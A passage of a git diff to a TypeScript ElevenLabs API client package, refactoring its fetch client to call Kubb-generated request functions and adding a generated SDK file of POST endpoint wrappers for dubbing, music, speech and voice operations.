'diarize' - | 'diarizationThreshold' - | 'detectSpeakerRoles' - | 'keyterms' - | 'entityDetection' - | 'entityRedaction' - | 'entityRedactionMode' - | 'noVerbatim' - | 'temperature' - | 'seed' - | 'enableLogging' - | 'useMultiChannel' - | 'fileFormat' -> & { file?: Blob } +/** + * Query params the API takes but the OpenAPI document leaves out (each + * operation has `query?: never`). Each endpoint sends only its own keys. + */ +export interface ElevenLabsQuery { + output_format?: ElevenLabsOutputFormat + enable_logging?: boolean + optimize_streaming_latency?: number +} type RawResponse = NonNullable @@ -129,9 +136,11 @@ const isRetryableStatus = (status: number) => status === 408 || status === 429 || status >= 500 /** - * Creates a fetch client with the `@elevenlabs/elevenlabs-js` method names, - * arguments, and results for the endpoints this package calls. It sends the - * same requests as the SDK and throws the same `ElevenLabsError` classes. + * Creates a fetch client with the `@elevenlabs/elevenlabs-js` method names + * and results for the endpoints this package calls. POST methods take the + * generated (modelschemas) snake_case body, plus the query params the + * document leaves out. It sends the same requests as the SDK and throws the + * same `ElevenLabsError` classes. * * @param config - API key (default `ELEVENLABS_API_KEY`), `baseURL` / * `baseUrl`, `defaultHeaders` / `headers`, `timeoutInSeconds` (default 240), @@ -161,7 +170,12 @@ export function createElevenLabsClient(config?: ElevenLabsClientConfig) { path: string, // The path template the SDK names in its timeout message. template: string, - request: { query?: Record; body?: unknown }, + request: { + query?: Record + body?: unknown + // The headers of a generated body (its content type). Client headers win. + bodyHeaders?: Record + }, options: RequestOptions | undefined, ) { let rawResponse = unknownRawResponse() @@ -171,7 +185,8 @@ export function createElevenLabsClient(config?: ElevenLabsClientConfig) { // The SDK retry rules differ from the Stainless ones, so retry below. maxRetries: 0, fetch: async (url, init) => { - const response = await fetch(url, init) + // Read at call time, so a fetch swapped in later is still used. + const response = await (config?.fetch ?? fetch)(url, init) rawResponse = toRawResponse(response) return response }, @@ -203,9 +218,10 @@ export function createElevenLabsClient(config?: ElevenLabsClientConfig) { return await http.request({ method, path, - headers, + headers: mergeHeaders(request.bodyHeaders, headers), signal: options?.abortSignal, - ...request, + query: request.query, + body: request.body, }) } catch (error) { const status = @@ -222,35 +238,52 @@ export function createElevenLabsClient(config?: ElevenLabsClientConfig) { } } - // A JSON endpoint: the `queryKeys` fields go in the query (in the SDK - // order), the rest is the body, all with snake_case names. - function sendJSON( - method: 'GET' | 'POST', + // A GET endpoint that the OpenAPI document does not have. The `queryKeys` + // SDK params go in the query, in the SDK order, with snake_case names. + const get = ( path: string, - template: string, params: object, queryKeys: ReadonlyArray, options: RequestOptions | undefined, - ) { - const body: Record = { ...params } + ) => { + const values = new Map(Object.entries(params)) const query = Object.fromEntries( - queryKeys.map((key) => [toSnake(key), body[key]]), + queryKeys.map((key) => [toSnake(key), values.get(key)]), ) - for (const key of queryKeys) delete body[key] - const hasBody = method === 'POST' - return send( - method, - path, - template, - { query, ...(hasBody ? { body: renameKeys(body, toSnake) } : {}) }, - options, + return send('GET', path, path, { query }, options) + } + + // The `keys` of `query`, in the SDK order (the URL order). + const pick = ( + query: ElevenLabsQuery, + keys: ReadonlyArray, + ) => Object.fromEntries(keys.map((key) => [key, query[key]])) + + // A generated operation: it builds the path and the body, and `send` adds + // the query (the document declares none) and sends it with the client + // headers, retries, and errors. + async function generated( + template: string, + query: Record, + options: RequestOptions | undefined, + operation: (client: ClientInstance) => Promise<{ response: Response }>, + ) { + const { response } = await operation( + sendWith((built) => + send( + 'POST', + built.path, + template, + { query, body: built.body, bodyHeaders: built.headers }, + options, + ), + ), ) + return response } - // An endpoint that answers with audio bytes. The wide stream type is the - // SDK one, so a real SDK client also fits `ElevenLabsClient`. - async function sendForAudio(...args: Parameters) { - const response = await sendJSON(...args) + // The audio bytes of a response. + function readAudio(response: Response) { if (!response.body) { throw new ElevenLabsError({ statusCode: response.status, @@ -261,38 +294,50 @@ export function createElevenLabsClient(config?: ElevenLabsClientConfig) { return audio } - const ttsPath = (voiceId: string) => - `/v1/text-to-speech/${encodeURIComponent(voiceId)}` - const ttsQuery = ['enableLogging', 'optimizeStreamingLatency', 'outputFormat'] - const dialogueQuery = ['outputFormat', 'enableLogging'] + const ttsQuery = [ + 'enable_logging', + 'optimize_streaming_latency', + 'output_format', + ] as const + const dialogueQuery = ['output_format', 'enable_logging'] as const return { textToSpeech: { - convert: ( + convert: async ( voiceId: string, - request: ElevenLabs.BodyTextToSpeechFull, + body: ElevenlabsPostV1TextToSpeechVoiceIdBody, + query: ElevenLabsQuery = {}, options?: RequestOptions, ) => - sendForAudio( - 'POST', - ttsPath(voiceId), - '/v1/text-to-speech/{voice_id}', - request, - ttsQuery, - options, + readAudio( + await generated( + '/v1/text-to-speech/{voice_id}', + pick(query, ttsQuery), + options, + (client) => + elevenlabsPostV1TextToSpeechVoiceId({ + client, + path: { voice_id: voiceId }, + body, + }), + ), ), convertWithTimestamps: async ( voiceId: string, - request: ElevenLabs.BodyTextToSpeechFullWithTimestamps, + body: ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsBody, + query: ElevenLabsQuery = {}, options?: RequestOptions, ) => { - const response = await sendJSON( - 'POST', - `${ttsPath(voiceId)}/with-timestamps`, + const response = await generated( '/v1/text-to-speech/{voice_id}/with-timestamps', - request, - ttsQuery, + pick(query, ttsQuery), options, + (client) => + elevenlabsPostV1TextToSpeechVoiceIdWithTimestamps({ + client, + path: { voice_id: voiceId }, + body, + }), ) return (await readJSON( response, @@ -300,29 +345,30 @@ export function createElevenLabsClient(config?: ElevenLabsClientConfig) { }, }, textToDialogue: { - convert: ( - request: ElevenLabs.BodyTextToDialogueMultiVoiceV1TextToDialoguePost, + convert: async ( + body: ElevenlabsPostV1TextToDialogueBody, + query: ElevenLabsQuery = {}, options?: RequestOptions, ) => - sendForAudio( - 'POST', - '/v1/text-to-dialogue', - '/v1/text-to-dialogue', - request, - dialogueQuery, - options, + readAudio( + await generated( + '/v1/text-to-dialogue', + pick(query, dialogueQuery), + options, + (client) => elevenlabsPostV1TextToDialogue({ client, body }), + ), ), convertWithTimestamps: async ( - request: ElevenLabs.BodyTextToDialogueFullWithTimestamps, + body: ElevenlabsPostV1TextToDialogueWithTimestampsBody, + query: ElevenLabsQuery = {}, options?: RequestOptions, ) => { - const response = await sendJSON( - 'POST', - '/v1/text-to-dialogue/with-timestamps', + const response = await generated( '/v1/text-to-dialogue/with-timestamps', - request, - dialogueQuery, + pick(query, dialogueQuery), options, + (client) => + elevenlabsPostV1TextToDialogueWithTimestamps({ client, body }), ) return (await readJSON( response, @@ -334,9 +380,7 @@ export function createElevenLabsClient(config?: ElevenLabsClientConfig) { request: ElevenLabs.VoicesGetAllRequest = {}, options?: RequestOptions, ) => { - const response = await sendJSON( - 'GET', - '/v1/voices', + const response = await get( '/v1/voices', request, ['showLegacy'], @@ -346,73 +390,47 @@ export function createElevenLabsClient(config?: ElevenLabsClientConfig) { }, }, music: { - compose: ( - // The SDK sends `signWithC2Pa` as `sign_with_c2pa`, which the plain - // snake_case rename would get wrong. This package never sets it. - request: Omit, + compose: async ( + body: ElevenlabsPostV1MusicBody, + query: ElevenLabsQuery = {}, options?: RequestOptions, ) => - sendForAudio( - 'POST', - '/v1/music', - '/v1/music', - request, - ['outputFormat'], - options, + readAudio( + await generated( + '/v1/music', + pick(query, ['output_format']), + options, + (client) => elevenlabsPostV1Music({ client, body }), + ), ), }, textToSoundEffects: { - convert: ( - request: ElevenLabs.CreateSoundEffectRequest, + convert: async ( + body: ElevenlabsPostV1SoundGenerationBody, + query: ElevenLabsQuery = {}, options?: RequestOptions, ) => - sendForAudio( - 'POST', - '/v1/sound-generation', - '/v1/sound-generation', - request, - ['outputFormat'], - options, + readAudio( + await generated( + '/v1/sound-generation', + pick(query, ['output_format']), + options, + (client) => elevenlabsPostV1SoundGeneration({ client, body }), + ), ), }, speechToText: { + // The generated operation sends `body` as multipart/form-data. convert: async ( - request: SpeechToTextRequest, + body: ElevenlabsPostV1SpeechToTextBody, + query: ElevenLabsQuery = {}, options?: RequestOptions, ) => { - const body = toFormData({ - model_id: request.modelId, - file: request.file, - language_code: request.languageCode, - tag_audio_events: request.tagAudioEvents, - num_speakers: request.numSpeakers, - timestamps_granularity: request.timestampsGranularity, - diarize: request.diarize, - diarization_threshold: request.diarizationThreshold, - file_format: request.fileFormat, - cloud_storage_url: request.cloudStorageUrl, - temperature: request.temperature, - seed: request.seed, - use_multi_channel: request.useMultiChannel, - // ponytail: the SDK sends these two only when they are arrays and - // drops a plain string. Kept the same for parity. - entity_detection: Array.isArray(request.entityDetection) - ? request.entityDetection - : undefined, - no_verbatim: request.noVerbatim, - detect_speaker_roles: request.detectSpeakerRoles, - entity_redaction: Array.isArray(request.entityRedaction) - ? request.entityRedaction - : undefined, - entity_redaction_mode: request.entityRedactionMode, - keyterms: request.keyterms, - }) - const response = await send( - 'POST', - '/v1/speech-to-text', + const response = await generated( '/v1/speech-to-text', - { query: { enable_logging: request.enableLogging }, body }, + pick(query, ['enable_logging']), options, + (client) => elevenlabsPostV1SpeechToText({ client, body }), ) return (await readJSON( response, @@ -421,32 +439,29 @@ export function createElevenLabsClient(config?: ElevenLabsClientConfig) { }, textToVoice: { design: async ( - request: ElevenLabs.VoiceDesignRequestModel, + body: ElevenlabsPostV1TextToVoiceDesignBody, + query: ElevenLabsQuery = {}, options?: RequestOptions, ) => { - const response = await sendJSON( - 'POST', + const response = await generated( '/v1/text-to-voice/design', - '/v1/text-to-voice/design', - request, - ['outputFormat'], + pick(query, ['output_format']), options, + (client) => elevenlabsPostV1TextToVoiceDesign({ client, body }), ) return (await readJSON( response, )) as ElevenLabs.VoiceDesignPreviewResponse }, create: async ( - request: ElevenLabs.BodyCreateANewVoiceFromVoicePreviewV1TextToVoicePost, + body: ElevenlabsPostV1TextToVoiceBody, options?: RequestOptions, ) => { - const response = await sendJSON( - 'POST', + const response = await generated( '/v1/text-to-voice', - '/v1/text-to-voice', - request, - [], + {}, options, + (client) => elevenlabsPostV1TextToVoice({ client, body }), ) return (await readJSON(response)) as ElevenLabs.Voice }, @@ -457,9 +472,7 @@ export function createElevenLabsClient(config?: ElevenLabsClientConfig) { request: ElevenLabs.conversationalAi.ConversationsGetSignedUrlRequest, options?: RequestOptions, ) => { - const response = await sendJSON( - 'GET', - '/v1/convai/conversation/get-signed-url', + const response = await get( '/v1/convai/conversation/get-signed-url', request, [ diff --git a/packages/ai-elevenlabs/src/generated/client/sdk.ts b/packages/ai-elevenlabs/src/generated/client/sdk.ts new file mode 100644 index 0000000000..c57b70d2a4 --- /dev/null +++ b/packages/ai-elevenlabs/src/generated/client/sdk.ts @@ -0,0 +1,1357 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +import type { + ElevenlabsPostV1AudioIsolationOptions, + ElevenlabsPostV1AudioIsolationResponses, + ElevenlabsPostV1AudioIsolationStreamOptions, + ElevenlabsPostV1AudioIsolationStreamResponses, + ElevenlabsPostV1DubbingOptions, + ElevenlabsPostV1DubbingResponses, + ElevenlabsPostV1DubbingResourceDubbingIdDubOptions, + ElevenlabsPostV1DubbingResourceDubbingIdDubResponses, + ElevenlabsPostV1DubbingResourceDubbingIdLanguageOptions, + ElevenlabsPostV1DubbingResourceDubbingIdLanguageResponses, + ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsOptions, + ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsResponses, + ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageOptions, + ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageResponses, + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerOptions, + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerResponses, + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentOptions, + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentResponses, + ElevenlabsPostV1DubbingResourceDubbingIdTranscribeOptions, + ElevenlabsPostV1DubbingResourceDubbingIdTranscribeResponses, + ElevenlabsPostV1DubbingResourceDubbingIdTranslateOptions, + ElevenlabsPostV1DubbingResourceDubbingIdTranslateResponses, + ElevenlabsPostV1ForcedAlignmentOptions, + ElevenlabsPostV1ForcedAlignmentResponses, + ElevenlabsPostV1MusicDetailedOptions, + ElevenlabsPostV1MusicDetailedResponses, + ElevenlabsPostV1MusicDetailedStreamOptions, + ElevenlabsPostV1MusicDetailedStreamResponses, + ElevenlabsPostV1MusicOptions, + ElevenlabsPostV1MusicResponses, + ElevenlabsPostV1MusicPlanOptions, + ElevenlabsPostV1MusicPlanResponses, + ElevenlabsPostV1MusicStemSeparationOptions, + ElevenlabsPostV1MusicStemSeparationResponses, + ElevenlabsPostV1MusicStreamOptions, + ElevenlabsPostV1MusicStreamResponses, + ElevenlabsPostV1MusicUploadOptions, + ElevenlabsPostV1MusicUploadResponses, + ElevenlabsPostV1MusicVideoToMusicOptions, + ElevenlabsPostV1MusicVideoToMusicResponses, + ElevenlabsPostV1SimilarVoicesOptions, + ElevenlabsPostV1SimilarVoicesResponses, + ElevenlabsPostV1SoundGenerationOptions, + ElevenlabsPostV1SoundGenerationResponses, + ElevenlabsPostV1SpeechToSpeechVoiceIdOptions, + ElevenlabsPostV1SpeechToSpeechVoiceIdResponses, + ElevenlabsPostV1SpeechToSpeechVoiceIdStreamOptions, + ElevenlabsPostV1SpeechToSpeechVoiceIdStreamResponses, + ElevenlabsPostV1SpeechToTextOptions, + ElevenlabsPostV1SpeechToTextResponses, + ElevenlabsPostV1TextToDialogueOptions, + ElevenlabsPostV1TextToDialogueResponses, + ElevenlabsPostV1TextToDialogueStreamOptions, + ElevenlabsPostV1TextToDialogueStreamResponses, + ElevenlabsPostV1TextToDialogueStreamWithTimestampsOptions, + ElevenlabsPostV1TextToDialogueStreamWithTimestampsResponses, + ElevenlabsPostV1TextToDialogueWithTimestampsOptions, + ElevenlabsPostV1TextToDialogueWithTimestampsResponses, + ElevenlabsPostV1TextToSpeechVoiceIdOptions, + ElevenlabsPostV1TextToSpeechVoiceIdResponses, + ElevenlabsPostV1TextToSpeechVoiceIdStreamOptions, + ElevenlabsPostV1TextToSpeechVoiceIdStreamResponses, + ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsOptions, + ElevenlabsPostV1TextToSpeechVoiceIdStreamWithTimestampsResponses, + ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsOptions, + ElevenlabsPostV1TextToSpeechVoiceIdWithTimestampsResponses, + ElevenlabsPostV1TextToVoiceCreatePreviewsOptions, + ElevenlabsPostV1TextToVoiceCreatePreviewsResponses, + ElevenlabsPostV1TextToVoiceDesignOptions, + ElevenlabsPostV1TextToVoiceDesignResponses, + ElevenlabsPostV1TextToVoiceOptions, + ElevenlabsPostV1TextToVoiceResponses, + ElevenlabsPostV1TextToVoiceVoiceIdRemixOptions, + ElevenlabsPostV1TextToVoiceVoiceIdRemixResponses, + ElevenlabsPostV1VoicesAddOptions, + ElevenlabsPostV1VoicesAddResponses, + ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdOptions, + ElevenlabsPostV1VoicesAddPublicUserIdVoiceIdResponses, + ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdOptions, + ElevenlabsPostV1VoicesCollectionsCollectionIdVoiceVoiceIdResponses, + ElevenlabsPostV1VoicesCollectionsOptions, + ElevenlabsPostV1VoicesCollectionsResponses, + ElevenlabsPostV1VoicesVoiceIdEditOptions, + ElevenlabsPostV1VoicesVoiceIdEditResponses, + ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentOptions, + ElevenlabsPostV1VoicesVoiceIdReplicateToIsolatedEnvironmentResponses, + ElevenlabsPostV1VoicesVoiceIdSettingsEditOptions, + ElevenlabsPostV1VoicesVoiceIdSettingsEditResponses, +} from './types' +import type { + EventStreamResult, + Options, + RequestResult, + SuccessOf, +} from '@tanstack/ai-utils/kubb' +import { client, toEventStream } from '@tanstack/ai-utils/kubb' + +/** + * @summary Audio Isolation + * {@link /v1/audio-isolation} + */ +export function elevenlabsPostV1AudioIsolation< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/audio-isolation', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Audio Isolation Stream + * {@link /v1/audio-isolation/stream} + */ +export function elevenlabsPostV1AudioIsolationStream< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/audio-isolation/stream', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Dub A Video Or An Audio File + * {@link /v1/dubbing} + */ +export function elevenlabsPostV1Dubbing( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/dubbing', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Dubs All Or Some Segments And Languages + * {@link /v1/dubbing/resource/:dubbing_id/dub} + */ +export function elevenlabsPostV1DubbingResourceDubbingIdDub< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1DubbingResourceDubbingIdDubOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdDubResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/dubbing/resource/{dubbing_id}/dub', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdDubResponses, + ThrowOnError + > + > +} + +/** + * @summary Add A Language To The Resource + * {@link /v1/dubbing/resource/:dubbing_id/language} + */ +export function elevenlabsPostV1DubbingResourceDubbingIdLanguage< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1DubbingResourceDubbingIdLanguageOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdLanguageResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/dubbing/resource/{dubbing_id}/language', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdLanguageResponses, + ThrowOnError + > + > +} + +/** + * @summary Move Segments Between Speakers + * {@link /v1/dubbing/resource/:dubbing_id/migrate-segments} + */ +export function elevenlabsPostV1DubbingResourceDubbingIdMigrateSegments< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/dubbing/resource/{dubbing_id}/migrate-segments', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdMigrateSegmentsResponses, + ThrowOnError + > + > +} + +/** + * @summary Render Audio Or Video For The Given Language + * {@link /v1/dubbing/resource/:dubbing_id/render/:language} + */ +export function elevenlabsPostV1DubbingResourceDubbingIdRenderLanguage< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/dubbing/resource/{dubbing_id}/render/{language}', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdRenderLanguageResponses, + ThrowOnError + > + > +} + +/** + * @summary Create A New Speaker + * {@link /v1/dubbing/resource/:dubbing_id/speaker} + */ +export function elevenlabsPostV1DubbingResourceDubbingIdSpeaker< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/dubbing/resource/{dubbing_id}/speaker', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerResponses, + ThrowOnError + > + > +} + +/** + * @summary Create A Segment For The Speaker + * {@link /v1/dubbing/resource/:dubbing_id/speaker/:speaker_id/segment} + */ +export function elevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegment< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/dubbing/resource/{dubbing_id}/speaker/{speaker_id}/segment', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdSpeakerSpeakerIdSegmentResponses, + ThrowOnError + > + > +} + +/** + * @summary Transcribes Segments + * {@link /v1/dubbing/resource/:dubbing_id/transcribe} + */ +export function elevenlabsPostV1DubbingResourceDubbingIdTranscribe< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1DubbingResourceDubbingIdTranscribeOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdTranscribeResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/dubbing/resource/{dubbing_id}/transcribe', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdTranscribeResponses, + ThrowOnError + > + > +} + +/** + * @summary Translates All Or Some Segments And Languages + * {@link /v1/dubbing/resource/:dubbing_id/translate} + */ +export function elevenlabsPostV1DubbingResourceDubbingIdTranslate< + ThrowOnError extends boolean = true, +>( + options: Options< + ElevenlabsPostV1DubbingResourceDubbingIdTranslateOptions, + ThrowOnError + >, +): Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdTranslateResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/dubbing/resource/{dubbing_id}/translate', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + ElevenlabsPostV1DubbingResourceDubbingIdTranslateResponses, + ThrowOnError + > + > +} + +/** + * @summary Create Forced Alignment + * {@link /v1/forced-alignment} + */ +export function elevenlabsPostV1ForcedAlignment< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/forced-alignment', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Compose Music + * {@link /v1/music} + */ +export function elevenlabsPostV1Music( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/music', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Compose Music With A Detailed Response + * {@link /v1/music/detailed} + */ +export function elevenlabsPostV1MusicDetailed< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/music/detailed', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Stream Composed Music With A Detailed Response + * {@link /v1/music/detailed/stream} + */ +export function elevenlabsPostV1MusicDetailedStream< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + EventStreamResult> +> { + const { client: request = client, ...config } = options + + return toEventStream>( + request({ + method: 'POST', + url: '/v1/music/detailed/stream', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + responseType: 'stream', + ...config, + throwOnError: config.throwOnError ?? true, + }), + ) +} + +/** + * @summary Generate Composition Plan + * {@link /v1/music/plan} + */ +export function elevenlabsPostV1MusicPlan( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/music/plan', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Stem Separation + * {@link /v1/music/stem-separation} + */ +export function elevenlabsPostV1MusicStemSeparation< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/music/stem-separation', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Stream Composed Music + * {@link /v1/music/stream} + */ +export function elevenlabsPostV1MusicStream< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/music/stream', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Upload Music + * {@link /v1/music/upload} + */ +export function elevenlabsPostV1MusicUpload< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/music/upload', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Video To Music + * {@link /v1/music/video-to-music} + */ +export function elevenlabsPostV1MusicVideoToMusic< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/music/video-to-music', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Get Similar Library Voices + * {@link /v1/similar-voices} + */ +export function elevenlabsPostV1SimilarVoices< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/similar-voices', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'multipart/form-data' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Sound Generation + * {@link /v1/sound-generation} + */ +export function elevenlabsPostV1SoundGeneration< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/sound-generation', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + responseType: 'blob', + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Speech To Speech + * {@link /v1/speech-to-speech/:voice_id} + */ +export function elevenlabsPostV1SpeechToSpeechVoiceId< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/speech-to-speech/{voice_id}', + security: [{ type: 'apiKey', name: 'xi-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Speech To Speech Streaming + * {@link /v1/speech-to-speech/:voice_id/stream} + */ +export function elevenlabsPostV1SpeechToSpeechVoiceIdStream< + ThrowOnError extends boolean = true, +>( + options: 